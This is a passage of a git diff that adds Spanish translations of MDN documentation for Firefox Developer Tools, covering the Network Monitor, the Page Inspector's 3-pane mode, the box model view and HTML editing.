+ <img alt="" src="https://mdn.mozillademos.org/files/7419/nm-row.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>Por defecto, el Monitor de Red se limpia cada vez que ud. navega a una nueva página o recarga la página actual. Desde Firefox 31 en adelante se puede cambiar este comportamiento selecccionando "Habilitar Registros Persistentes" en las Opciones de <a href="https://developer.mozilla.org/en-US/docs/Tools_Toolbox#Common_preferences">Herramientas</a>.</p>
+
+<h3 id="Area_de_Solicitudes_de_Red">Area de Solicitudes de Red</h3>
+
+<p>Cada fila muestra:</p>
+
+<ul>
+ <li><strong>√</strong>: El código HTTP retornado. Este es mostrado por un ícono a colores: Verde para correcto (Códigos 2XX ), naranja para redirección (3XX), o rojo para errores (4XX and 5XX). Desde Firefox 30 en adelante, el código exacto es mostrado inmediatamente después del ícono.</li>
+ <li><strong>Método</strong>: El método de Solicitud HTTP</li>
+ <li><strong>Archivo</strong>: Nombre base del archivo solicitado.</li>
+ <li><strong>Dominio</strong>: Dominio del path solicitado.</li>
+ <li><strong>Tipo</strong>: <code>Content-type</code> de la respuesta</li>
+ <li><strong>Tamaño</strong>: Tamaño de la respuesta</li>
+</ul>
+
+<p>La barra de herramientas en la parte superior etiqueta estas columnas, y hacer click en las etiquetas ordena todas las solicitudes por esa columna.</p>
+
+<p>Desde Firefox 30 en adelante, si el archivo es una imagen, la fila incluye una miniatura de la imagen, y pasar por arriba del nombre del archivo muestra un preview en un tooltip:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7403/nm-image-preview.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h3 id="Linea_de_Tiempo">Linea de Tiempo</h3>
+
+<p>La lista de solicitudes también muestra una linea de tiempo para las diferentes partes de cada solicitud. Cada linea de tiempo es dada en posición horizontal en su fila relativa a las otras solicitudes de red, de manera que ud. pueda ver el tiempo total que tomó cargar la página. Para más detalles sobre los códigos de color usados aqui, vea la sección en la página <a href="https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor#Timings">Tiempos</a>.</p>
+
+<h3 id="Filtrando_por_tipo_de_Contenido">Filtrando por tipo de Contenido</h3>
+
+<p>Al final de la ventana una fila de botones le permite a ud. filtrar las solicitudes por el tipo de contenido de la respuesta:<img alt="" src="https://mdn.mozillademos.org/files/7395/nm-filter-by-type.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>En el extremo derecho de esta fila hay un botón llamado "Limpiar": como ud. podrá adivinar, esto le permite limpiar la lista de solicitudes de red.</p>
+
+<h3 id="Menu_Contextual">Menu Contextual</h3>
+
+<p>Haciendo click en una fila de la lista muestra un menú contextual con las siguientes opciones:</p>
+
+<ul>
+ <li>Abrir en nueva pestaña</li>
+ <li>Copiar URL</li>
+ <li>Copiar como cURL (solo desde Firefox 31 en adelante)</li>
+ <li>Copiar imagen como Data URI (solo para imágenes)</li>
+ <li>Editar y Reenviar</li>
+ <li>Comenzar <a href="/en-US/docs/Tools/Network_Monitor#Performance_analysis">Análisis de Performance</a> para la página</li>
+</ul>
+
+<h4 id="Editar_y_Reenviar">Editar y Reenviar</h4>
+
+<p>Esta opción abre un editor que le permite editar el método de Solicitud, URL, parámetros, y cabeceras, y reenviar la solicitud.</p>
+
+<h4 id="Copiar_como_cURL">Copiar como cURL</h4>
+
+<div class="geckoVersionNote">
+<p>Esta característica es nueva en Firefox 31.</p>
+</div>
+
+<p>Esta opción copia la solicitud de red al portapapeles como un comando <a href="http://curl.haxx.se/">cURL</a>, de manera que ud. pueda ejectutarlo desde una línea de comandos. El comando puede incluir las siguientes opciones:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>-X [METODO]</code></td>
+   <td>Si el método no es GET o POST</td>
+  </tr>
+  <tr>
+   <td><code>--data</code></td>
+   <td>Para parámetros de solicitud URL encodeados</td>
+  </tr>
+  <tr>
+   <td><code>--data-binary</code></td>
+   <td>Para parámetros de solicitud multiparte</td>
+  </tr>
+  <tr>
+   <td><code>--http/VERSION</code></td>
+   <td>Si la versión de HTTP no es 1.1</td>
+  </tr>
+  <tr>
+   <td><code>-I</code></td>
+   <td>Si el método no es HEAD</td>
+  </tr>
+  <tr>
+   <td><code>-H</code></td>
+   <td>
+    <p>Uno para cada encabezado de solicitud.</p>
+
+    <p>Deesde Firefox 34, si el encabezado "Accept-Encoding" está presente, el comando cURL incluirá <code>--compressed</code> en vez de  <code>-H "Accept-Encoding: gzip, deflate"</code>.  Esto significa que la respuesta será automáticamente descomprimida.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Detalles_de_Solicitud_de_red">Detalles de Solicitud de red</h2>
+
+<p>Hacer click en una fila muestra en un nuevo panel en la parte derecha del monitor de red, que provee más información detallada sobre la solicitud.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7393/nm-details-annotated.png" style="display: block; margin-left: auto; margin-right: auto;">Las pestañas de la parte superior de este panel le permiten cambiar entre 5 diferentes páginas:</p>
+
+<ul>
+ <li><strong>Encabezados</strong></li>
+ <li><strong>Cookies</strong></li>
+ <li><strong>Parámetros</strong></li>
+ <li><strong>Respuestas</strong></li>
+ <li><strong>Tiempos</strong></li>
+</ul>
+
+<p>Desde Firefox 30 en adelante, hay una sexta página que aparece solamente si el tipo de contenido es HTML, la página de <strong>Vista Preliminar</strong>.</p>
+
+<p>Hacer click en el ícono de la izquierda de las pestañas cierra el panel y vuelve a la vista de lista.</p>
+
+<h3 id="Encabezados">Encabezados</h3>
+
+<p>Esta pestaña lista información básica sobre la solicitud incluyendo URL y código de estado, asi como la solicitud HTTP y encabezados de respuesta que fueron enviados:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7397/nm-headers.png" style="display: block; margin-left: auto; margin-right: auto;">Ud. puede filtrar las encabezados que se muestran:</p>
+
+<h3 id="Cookies"><img alt="" src="https://mdn.mozillademos.org/files/7399/nm-headers-filtered.png" style="display: block; margin-left: auto; margin-right: auto;">Cookies</h3>
+
+<p>Esta pestaña lista detalles completos de cualquier cookie que fue enviada con la solicitud o respuesta:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7391/nm-cookies.png" style="display: block; margin-left: auto; margin-right: auto;">Al igual que con los encabezados, ud. puede filtrar las cookies que se muestran.</p>
+
+<h3 id="Parametros">Parametros</h3>
+
+<p>Esta pestaña muestra los parámetros GET y datos POST de una solicitud:</p>
+
+<h3 id="Respuesta"><img alt="" src="https://mdn.mozillademos.org/files/7407/nm-params.png" style="display: block; margin-left: auto; margin-right: auto;">Respuesta</h3>
+
+<p>El contenido completo de la respuesta. Si la respuesta es HTML, JS o CSS, será mostrada como texto:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7413/nm-response-html.png" style="display: block; margin-left: auto; margin-right: auto;">Si la respuesta es JSON, será mostrada como un objeto inspeccionable:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7421/nm-response-json.png" style="display: block; margin-left: auto; margin-right: auto;">Si la respuesta es una imagen, la pestaña muestra una vista preliminar:</p>
+
+<h3 id="Tiempos"><img alt="" src="https://mdn.mozillademos.org/files/7415/nm-response-image.png" style="display: block; margin-left: auto; margin-right: auto;">Tiempos</h3>
+
+<p>La pestaña de tiempo muestra una lista más detallada y comentada de la barra de línea de tiempo para esa solicitud, mostrando como el tiempo de espera total es dividido en varias etapas:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7417/nm-timings.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h3 id="Vista_Preliminar">Vista Preliminar</h3>
+
+<div class="geckoVersionNote">
+<p>Esta caracteristica es nueva en  Firefox 30.</p>
+</div>
+
+<p>Desde Firefox 30 en adelante, si el tipo de archivo es HTML una sexta pestaña aparece llamada "Vista Preliminar". Esta hace un render de aquel HTML:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7401/nm-html-preview.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h2 id="Análisis_de_Rendimiento">Análisis de Rendimiento</h2>
+
+<div class="geckoVersionNote">
+<p>La herramienta de análisis de rendimiento es nueva en Firefox 29.</p>
+</div>
+
+<p>Desde Firefox 29 en adelante, el Monitor de Red trae una herramienta de análisis de rendimiento (performance), para ayudarlo a ver cuánto le toma al navegador descargar las diferentes partes de su sitio.<br>
+ <br>
+ Para correr la herramienta de análisis de performance haga click en el icono de cronómetro en la barra de herramientas en la parte inferior del Monitor de Red:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7411/nm-performance-button.png" style="display: block; margin-left: auto; margin-right: auto;">(Alternativamente, si ud. acaba de abrir el Monitor de Red, por ende no está todavia poblado con la lista de Solicitudes, ud. tendrá el icono de Cronómetro en la ventana principal.)</p>
+
+<p>El Monitor de Red luego carga el sitio dos veces: una vez con un cache de navegador vacio, y una vez con el chaché óptimo. Esto simula la primera vez que un usuario visita su sitio, y visitas siguientes. Muestra los resultados para cada corrida de lado a lado o verticalmente si la ventana de Navegación es angosta:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7409/nm-performance.png" style="display: block; margin-left: auto; margin-right: auto;">El resultado de cada recarga es resumido en una tabla y un gráfico sectorial o de torta. La tabla agrupa recursos por tipo, y muestra el tamaño total de cada recurso y el tiempo total que tomó en cargarlos. El gráfico de torta acompañante muestra el tamaño relativo de cada tipo de recurso.</p>
+
+<p>Para volver a la lista de Solicitudes de Red del Monitor de Red haga click en el botón "Volver" en la izquierda.</p>
+
+<p>Hacer click en una porción de la torta lo lleva al Monitor de Red para esa recarga, con un filtro automáticamente aplicado para ver <a href="/en-US/docs/Tools/Network_Monitor#Filtering_by_content_type">solo este tipo de recurso</a>.</p>
diff --git a/files/es/tools/page_inspector/3er-panel_modo/index.html b/files/es/tools/page_inspector/3er-panel_modo/index.html
new file mode 100644
index 0000000000..7165d90a4d
--- /dev/null
+++ b/files/es/tools/page_inspector/3er-panel_modo/index.html
@@ -0,0 +1,69 @@
+---
+title: El 3er panel del modo inspector
+slug: Tools/Page_Inspector/3er-panel_modo
+tags:
+  - 3 paneles
+  - CSS
+  - Guía
+  - Herramientas
+  - Inspectord
+translation_of: Tools/Page_Inspector/3-pane_mode
+---
+<div>{{ToolsSidebar}}</div>
+
+<p class="summary">Este articulo explica como usar el 3er panel del modo inspector.</p>
+
+<h2 id="Feature_summary">Feature summary</h2>
+
+<p>Desde Firefox 62 en adelante, el <a href="/en-US/docs/Tools/Page_Inspector">Inspector de página</a> tieen un nuevo modo disponible— <strong>modo 3er-Panel</strong>. cuando este es activado, te permitira ver en simultaneo lo siguiente:</p>
+
+<ul>
+ <li>El <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML">panel HTML</a> al costado izquierdo, como es usual.</li>
+ <li>Las <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Examine_CSS_rules">reglas CSS</a> en un panel diferente en la partecentral, es mas como una pestaña.</li>
+ <li>Las otras caracteristicas relacionadas a CSS — como la <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Examine_computed_CSS">vista de estilos computados</a>, <a href="/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations">vista de animaciones</a>, y <a href="/en-US/docs/Tools/Page_Inspector/How_to/View_fonts">vista de fuentes</a> — en la pstaña derecha, como es usual.</li>
+</ul>
+
+<p><img alt="The firefox page inspector in 3 pane mode, with HTML pane on left, CSS rules pane in center, and CSS tool tabs on right" src="https://mdn.mozillademos.org/files/15935/3-pane-view-final.png" style="border-style: solid; border-width: 1px; display: block; height: 259px; margin: 0px auto; width: 1195px;"></p>
+
+<div class="note">
+<p><strong>Nota</strong>: En tamaños de pantalla mas reducidos, las pestañas apareceran bajo el panel de Reglas CSS.</p>
+</div>
+
+<p>Tener las reglas de CCS en su propio panel es muy util ya que no solo te permite revisar el HTML y editar el CSS que esta aplicado a este, si no que tambien puedes ver en tiempo real como afectan tus caracteristicas CSS afectan a los estilos computados. solo necesitas tener la pestaña abierta para ver el efecto.</p>
+
+<h2 id="A_brief_walkthrough">A brief walkthrough</h2>
+
+<p>El inspector de 3 paneles esta desactivado por defecto. este se activa con el  toggle que se encuentra el parte superior izquierda de la pestaña.</p>
+
+<p><img alt="a view of the tabs panel, showing the 2 to 3 pane toggle icon" src="https://mdn.mozillademos.org/files/15937/toggle-icon-final.png" style="display: block; height: 241px; margin: 0px auto; width: 410px;"></p>
+
+<p>presionando el toggle podras cambiar de la vista de  2 a 3 paneles.</p>
+
+<p><img alt="The firefox page inspector in 2 pane mode, with HTML pane on left and CSS tool tabs on right" src="https://mdn.mozillademos.org/files/15936/2-pane-view-final.png" style="border-style: solid; border-width: 1px; display: block; height: 262px; margin: 0px auto; width: 1195px;"></p>
+
+<p><img alt="The firefox page inspector in 3 pane mode, with HTML pane on left, CSS rules pane in center, and CSS tool tabs on right" src="https://mdn.mozillademos.org/files/15935/3-pane-view-final.png" style="border-style: solid; border-width: 1px; display: block; height: 259px; margin: 0px auto; width: 1195px;"></p>
+
+<p>Con el modo de 3 paneles activado, podras ver los cambios en vivo realizados a las reglas de CSS en tu página. Por ejemplo, puedes editar las propiedades de una <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">Rejilla CSS </a>y ver inmediatamente los cambios en el <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Inspector de rejilla</a>.</p>
+
+<p>{{EmbedYouTube("ELS2OOUvxIw")}}</p>
+
+<h2 id="Habilitando_el_inspector_de_3_paneles_en_versiones_anteriores_a_Firefox_62">Habilitando el  inspector de 3 paneles en versiones anteriores a Firefox 62</h2>
+
+<p>en anteriores versiones de Firefox (desde Firefox 59/60), puedes activar el modo de 3 paneles en su version Beta para esto vas a about:config y pasando las siguientes  <code>true</code>:</p>
+
+<p><code>devtools.inspector.split-rule-enabled</code> — esto cambia el modo de 3 paneles de on a off.</p>
+
+<p><code>devtools.inspector.split-sidebar-toggle</code> — esto añade el boton a la UI.</p>
+
+<p>en Firefox 61, estas preferencias se renombran como:</p>
+
+<ul>
+ <li><code>devtools.inspector.three-pane-enabled</code></li>
+ <li><code>devtools.inspector.three-pane-toggle</code></li>
+</ul>
+
+<p>debes pasar estas dos a <code>true</code> en el Beta para probar las caracteristicas enFirefox 61.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: El inspector de 3 paneles esta disponible en la edicion Nightly/Developer desde Firefox 62.</p>
+</div>
diff --git a/files/es/tools/page_inspector/how_to/abrir_el_inspector/index.html b/files/es/tools/page_inspector/how_to/abrir_el_inspector/index.html
new file mode 100644
index 0000000000..e45754096e
--- /dev/null
+++ b/files/es/tools/page_inspector/how_to/abrir_el_inspector/index.html
@@ -0,0 +1,22 @@
+---
+title: Abrir el Inspector
+slug: Tools/Page_Inspector/How_to/Abrir_el_Inspector
+tags:
+  - Guía
+  - Herramientas
+  - Inspector
+  - Tools
+translation_of: Tools/Page_Inspector/How_to/Open_the_Inspector
+---
+<p>Hay dos maneras básicas para abrir el Inspector:</p>
+
+<ul>
+ <li><em>Si no tenemos seleccionado ningun elemento:</em> desde la barra de menú "Herramientas -&gt; Desarrollador Web -&gt; Inspector" ; o utilizando un <a href="https://developer.mozilla.org/es/docs/tools/Keyboard_shortcuts#Opening_and_closing_tools">atajo de teclado</a> equivalente</li>
+ <li>
+  <p><em>Si tenemos seleccionado un elemento: haz click derecho en un elemento de la página web y selecciona </em> "Inspeccionar elemento"</p>
+ </li>
+</ul>
+
+<p>El Inspector aparecerá en la parte inferior de la ventana del navegador:</p>
+
+<p><img alt="The all-new Inspector in Firefox 57 DevTools." src="https://mdn.mozillademos.org/files/15493/57-inspector-starfish.png" style="display: block; height: 647px; margin-left: auto; margin-right: auto; width: 845px;">Para empezar a aprender sobre el Inspector ve al <a href="https://developer.mozilla.org/es/docs/Tools/Page_Inspector/UI_Tour"> Tour por la UI</a>.</p>
diff --git a/files/es/tools/page_inspector/how_to/examinar_y_editar_el_modelo_de_cajasmodel/index.html b/files/es/tools/page_inspector/how_to/examinar_y_editar_el_modelo_de_cajasmodel/index.html
new file mode 100644
index 0000000000..992a5b8326
--- /dev/null
+++ b/files/es/tools/page_inspector/how_to/examinar_y_editar_el_modelo_de_cajasmodel/index.html
@@ -0,0 +1,47 @@
+---
+title: Examinar y editar el modelo de cajas
+slug: Tools/Page_Inspector/How_to/Examinar_y_editar_el_modelo_de_cajasmodel
+tags:
+  - Guía
+  - Herramientas
+  - Tools
+translation_of: Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model
+---
+<h2 id="Visualización_del_modelo_de_caja">Visualización del modelo de caja</h2>
+
+<p>Con el <a href="/es/docs/Tools/Page_Inspector/UI_Tour#Select_element_button">botón Seleccionar elemento</a> pulsado, si se pasa el ratón por encima de un elemento en la página, el <a href="/es/docs/Web/CSS/box_model">modelo de caja</a> para ese elemento se muestra superpuesto en la página:</p>
+
+<p>{{EmbedYouTube("vDRzN-svJHQ")}}</p>
+
+<p>También se muestra superpuesto en la página si en el panel HTML ponemos el cursor sobre la marca de un elemento :</p>
+
+<p>{{EmbedYouTube("xA4IxTttNLk")}}</p>
+
+<p>Si se trata de un elemento en línea que está dividido en varias filas, se destaca cada una de las líneas individuales que componen el elemento:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10349/inline-box-model.png" style="display: block; height: 186px; margin-left: auto; margin-right: auto; width: 351px;"></p>
+
+<h3 id="Vista_Modelo_de_Caja">Vista Modelo de Caja</h3>
+
+<p>Cuando se selecciona un elemento, podemos obtener una vista detallada del modelo de caja en dos de las vistas del panel CCS: <a href="/es/docs/Tools/Page_Inspector/UI_Tour#Computed_view">Calculado</a> y Disposición:</p>
+
+<ul>
+ <li>en la vista Calculado aparece en primer término, seguido de la sección con el listado de reglas que se aplican al elemento;</li>
+ <li>en la vista Disposición está en segundo término, detrás de la sección 'Rejilla' y seguido de la sección Propiedades del modelo de caja (box-sizing, display, float, line-height, position y z-index) indicando sus valores</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14241/box-model.png" style="display: block; height: 232px; margin-left: auto; margin-right: auto; width: 610px;"></p>
+
+<p>Si ponemos el cursor sobre un valor en la vista modelo de caja al lado aparece un tooltip que nos indica de qué regla procede el valor:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14243/box-model-tooltip.png" style="display: block; height: 234px; margin-left: auto; margin-right: auto; width: 620px;"></p>
+
+<p>Si desplazamos el cursor sobre una parte del modelo de caja en la vista Modelo de caja, se resalta la parte correspondiente de la página y aparece otro tooltip con información indicando el elemento, su clase y/o ID y sus dimensiones (ancho x alto):</p>
+
+<p>{{EmbedYouTube("H3ZxRbbyfwI")}}</p>
+
+<h2 id="Edición_del_modelo_de_caja">Edición del modelo de caja</h2>
+
+<p>También podemos editar los valores en la <a href="/es/docs/Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model#The_Box_Model_view">Vista Modelo de Caja</a>: hacer clic sobre un valor permite editarlo y ver los resultados inmediatamente en la página:</p>
+
+<p>{{EmbedYouTube("gHjDjM8GJ9I")}}</p>
diff --git a/files/es/tools/page_inspector/how_to/examinar_y_editar_html/index.html b/files/es/tools/page_inspector/how_to/examinar_y_editar_html/index.html
new file mode 100644
index 0000000000..2a361a1d90
--- /dev/null
+++ b/files/es/tools/page_inspector/how_to/examinar_y_editar_html/index.html
@@ -0,0 +1,364 @@
+---
+title: Examinar y editar HTML
+slug: Tools/Page_Inspector/How_to/Examinar_y_editar_HTML
+tags:
+  - Guía
+  - Herramientas
+  - Inspector
+  - Tools
+translation_of: Tools/Page_Inspector/How_to/Examine_and_edit_HTML
+---
+<p>Puedes examinar y editar el HTML de la página en el <a href="https://developer.mozilla.org/es/docs/Tools/Page_Inspector/UI_Tour#HTML_pane">panel HTML</a>.</p>
+
+<h2 id="Navegar_en_HTML">Navegar en HTML</h2>
+
+<h3 id="HTML_breadcrumbs_(migas_de_pan)">HTML breadcrumbs (migas de pan)</h3>
+
+<p>En la parte inferior del panel HTML hay una barra de navegación de migas de pan. Muestra la jerarquía completa en el documento para la rama que contiene el elemento seleccionado:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15499/57-html-panel.png" style="display: block; height: 274px; margin-left: auto; margin-right: auto; width: 633px;"></p>
+
+<p>Pasar el ratón sobre cada miguita de pan destaca ese elemento de la página.</p>
+
+<p>La barra breadcrumbs tiene sus propios <a href="https://developer.mozilla.org/es/docs/Tools/Page_Inspector/Keyboard_shortcuts#Breadcrumbs_bar">atajos de teclado</a>.</p>
+
+<div class="note">
+<p>Ten en cuenta que antes de Firefox 48, esta barra de herramientas estaba en la parte superior del panel HTML.</p>
+</div>
+
+<h3 id="Buscar">Buscar</h3>
+
+<p>A partir de Firefox 45, el campo de búsqueda del Inspector de páginas busca coincidencias en todo el marcado del documento actual y en cualquier frame.</p>
+
+<p>Para empezar a buscar un marcador, haz clic en el cuadro de búsqueda para expandirlo o presiona <kbd>Ctrl</kbd> + <kbd>F</kbd> , o <kbd>Cmd</kbd> + <kbd>F</kbd> en Mac.</p>
+
+<p>A medida que escribes, en la ventana emergente se autocompletarán sugerencias con los atributos de clase o de ID que coincidan con el término de búsqueda actual:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15495/html-code-search.png" style="display: block; height: 398px; margin-left: auto; margin-right: auto; width: 900px;"></p>
+
+<p>Presiona <kbd>Up</kbd> y <kbd>Down</kbd> para desplazarte por las sugerencias, <kbd>Tab</kbd> para elegir la sugerencia actual y entonces <kbd>Enter</kbd> para seleccionar el primer nodo con ese atributo.</p>
+
+<p>Si sólo introduces el término de búsqueda sin seleccionar un valor entre las sugerencias, el término de búsqueda se aplicará al texto completo del documento, incluyendo todos los nombres y valores de atributos y el contenido de texto de los nodos.</p>
+
+<p>{{EmbedYouTube("AKBhnfp1Opo")}}</p>
+
+<p>Para desplazarte por las sugerencias presiona <kbd>Enter</kbd> . A partir de Firefox 48 es posible el desplazamiento hacia atrás con <kbd>Shift</kbd> + <kbd>Enter</kbd> .</p>
+
+<h3 id="Árbol_HTML">Árbol HTML</h3>
+
+<p>El resto del panel muestra el HTML de la página como un árbol (esta interfaz de usuario también se llama Vista de marcado). Justo a la izquierda de cada nodo hay una flecha: haz clic en la flecha para desplegar el nodo. Si mantienes pulsada la tecla <kbd>Alt</kbd> mientras haces clic en la flecha, se desplegará el nodo y todos los nodos situados debajo de él.</p>
+
+<p><img alt="The new Firefox 57 inspector HTML tree." src="https://mdn.mozillademos.org/files/15503/57-html-tree.png" style="display: block; height: 433px; margin-left: auto; margin-right: auto; width: 600px;"></p>
+
+<p>Mover el ratón sobre un nodo del árbol destaca el elemento en la página.</p>
+
+<p>Los nodos no-visibles se representan descoloridos o desaturados. La invisibilidad puede deberse a razones diversas, entre ellas el uso de <code><a href="/es/docs/Web/CSS/display">display: none</a></code>, o que el elemento no tenga ninguna dimensión.</p>
+
+<p>A partir de Firefox 53 se muestra una elipsis entre la etiqueta de apertura y cierre de un elemento si el nodo está colapsado y contiene más contenido. Antes de Firefox 53, era imposible determinar si un nodo colapsado tenía hijos. Ahora los hijos se indican en el árbol con este icono: <img alt="" src="https://mdn.mozillademos.org/files/14925/child-node-indicator.png" style="height: 24px; width: 32px;"></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Hay atajos de teclado útiles para usar en el árbol HTML — ve a la <a href="/es/docs/Tools/Keyboard_shortcuts#HTML_pane">lista de atajos de teclado del panel HTML</a>.</p>
+</div>
+
+<h3 id="before_y_after">::before y ::after</h3>
+
+<p>Desde Firefox 35 en adelante, puede inspeccionar los pseudoelementos añadidos usando {{cssxref("::before")}} y {{cssxref("::after")}}:</p>
+
+<p>{{EmbedYouTube("ecfqTGvzsNc")}}</p>
+
+<h3 id="Whitespace-only_text_nodes">Whitespace-only text nodes</h3>
+
+<div class="geckoVersionNote">Nuevo en Firefox 52</div>
+
+<p>Los desarrolladores web no escriben todo su código en una sola línea de texto. Introducen espacios en blanco con <kbd>Space</kbd> , <kbd>Return</kbd> , y <kbd>Tab</kbd> entre sus elementos HTML para que el marcado sea más legible.</p>
+
+<p>Normalmente este espacio en blanco parece no tener efecto ni salida visual, pero de hecho, cuando un navegador analiza HTML genera automáticamente nodos de texto anónimos para elementos que no están contenidos en un nodo. Esto incluye los espacios en blanco que hay después de cualquier tipo de texto.</p>
+
+<p>Si estos nodos de texto generados automáticamente están <a href="https://developer.mozilla.org/es/docs/Web/Guide/CSS/Visual_formatting_model#Inline-level_elements_and_inline_boxes">inline level</a>, los navegadores les asignarán una anchura y altura distinta de cero. Así puede que encuentres espacios extraños entre los elementos, incluso si no has puesto ningún margen o relleno en ellos.</p>
+
+<p>Desde Firefox 52, el Inspector muestra los nodos whitespace para que puedas saber de dónde vienen los huecos en su marcado.</p>
+
+<p>Los nodos Whitespace se representan con un punto: <img alt="" src="https://mdn.mozillademos.org/files/14931/new-whitespace-text-indicator.png" style="height: 23px; width: 30px;"> y cuando pasas el ratón sobre ellos muestra un tooltip explicativo</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14929/whitespace-text-nodes-2.png" style="display: block; height: 1010px; margin-left: auto; margin-right: auto; width: 912px;"></p>
+
+<p>Para ver esto en la práctica ve a la demo en <a href="https://mdn.github.io/devtools-examples/whitespace-only-demo/index.html">https://mdn.github.io/devtools-examples/whitespace-only-demo/index.html</a>.</p>
+
+<h2 id="Elemento_menú_contextual_emergente">Elemento: menú contextual emergente</h2>
+
+<p>Puedes realizar ciertas tareas comunes en un elemento utilizando su menú contextual emergente. Para activar este menú, haz clic derecho en el elemento. El menú contiene los siguientes elementos - haz clic en los enlaces para encontrar la descripción de cada comando en {{anch("Context menu reference")}}:</p>
+
+<ul>
+ <li><a href="#Edit as HTML">Editar como HTML</a></li>
+ <li><a href="#Create New Node">Crear nodo nuevo</a></li>
+ <li><a href="#Duplicate Node">Duplicar nodo</a></li>
+ <li><a href="#Delete Node">Eliminar nodo</a></li>
+ <li>Atributos
+  <ul>
+   <li><a href="#Attribute/Add Attribute">Añadir atributo</a></li>
+   <li><a href="#Attribute/Copy Attribute">Copiar valor del atributo</a></li>
+   <li><a href="#Attribute/Edit Attribute">Editar atributo</a></li>
+   <li><a href="#Attribute/Remove Attribute">Eliminar atributo</a></li>
+  </ul>
+ </li>
+ <li><a href="#:hover">:hover</a></li>
+ <li><a href="#:active">:active</a></li>
+ <li><a href="#:focus">:focus</a></li>
+ <li>Copiar
+  <ul>
+   <li><a href="#Copy Inner HTML">HTML interno</a></li>
+   <li><a href="#Copy Outer HTML">HTML externo</a></li>
+   <li><a href="#Copy Unique Selector">Selector CSS</a></li>
+   <li><a href="#Copy CSS Path">Ruta CSS</a></li>
+   <li><a href="#Copy XPath">XPath</a></li>
+   <li><a href="#Copy Image Data-URL">Data-URL de imagen</a></li>
+  </ul>
+ </li>
+ <li>Pegar
+  <ul>
+   <li><a href="#Paste Inner HTML">HTML interno</a></li>
+   <li><a href="#Paste Outer HTML">HTML externo</a></li>
+   <li><a href="#Paste/Before">Antes</a></li>
+   <li><a href="#Paste/After">Detrás</a></li>
+   <li><a href="#Paste/As First Child">Como primer hijo</a></li>
+   <li><a href="#Paste/As Last Child">Como último hijo</a></li>
+  </ul>
+ </li>
+ <li><a href="#Expand All">Expandir todo</a></li>
+ <li><a href="#Collapse">Contraer todo</a></li>
+ <li><a href="#Scroll Into View">Desplazarse a la vista</a></li>
+ <li><a href="#Screenshot Node">Obtener instantanea del nodo</a></li>
+ <li><a href="#Use in Console">Usar en consola</a></li>
+ <li><a href="#Show DOM Properties">Mostrar propiedades del DOM</a></li>
+ <li><a href="#Open Link in New Tab">Abrir enlace en una pestaña nueva</a> *</li>
+ <li><a href="#Open File in Debugger">Abrir archivo en depurador</a> *</li>
+ <li><a href="#Open File in Style-Editor">Abrir archivo en editor de estilos</a> *</li>
+ <li><a href="#Copy Link Address">Copiar la ruta del enlace</a> *</li>
+</ul>
+
+<p>* Estas opciones sólo aparecen en determinados contextos, por ejemplo, la opción "Abrir archivo en el editor de estilo" sólo aparece cuando haces clic con el botón contextual sobre el enlace a un archivo CSS.</p>
+
+<h3 id="Context_menu_reference">Context menu reference</h3>
+
+<div class="note">
+<p><strong>Nota</strong>: A partir de Firefox 49 el menú contextual se reorganizó significativamente para hacerlo más compacto. No te preocupes si la estructura de tu menú es ligeramente diferente de la que se muestra arriba: estarán disponibles las mismas opciones</p>
+</div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%;"><a id="Edit as HTML">Edit as /en-US/docs/HTML</a></td>
+   <td>
+    <p><a href="https://developer.mozilla.org/es/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML#Editing_HTML">Editar el HTML del elemento</a></p>
+   </td>
+  </tr>
+  <tr>
+   <td><a id="Copy Inner HTML">(Copy) Inner HTML</a></td>
+   <td>Copiar el HTML interno para el elemento.</td>
+  </tr>
+  <tr>
+   <td><a id="Copy Outer HTML">(Copy) Outer HTML</a></td>
+   <td>
+    <p>Copiar el HTML externo para el elemento.</p>
+
+    <p>Presione <kbd>Ctrl</kbd> + <kbd>C</kbd> (o <kbd>Cmd</kbd> + <kbd>C</kbd> en Mac) realiza la misma acción.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a id="Copy Unique Selector">(Copy) Unique Selector/CSS Selector</a></td>
+   <td>Copiar el selector CSS que selecciona únicamente el elemento</td>
+  </tr>
+  <tr>
+   <td><a id="Copy CSS Path">(Copy) CSS Path</a></td>
+   <td>Copiar el selector CSS que representa la ruta completa al elemento.</td>
+  </tr>
+  <tr>
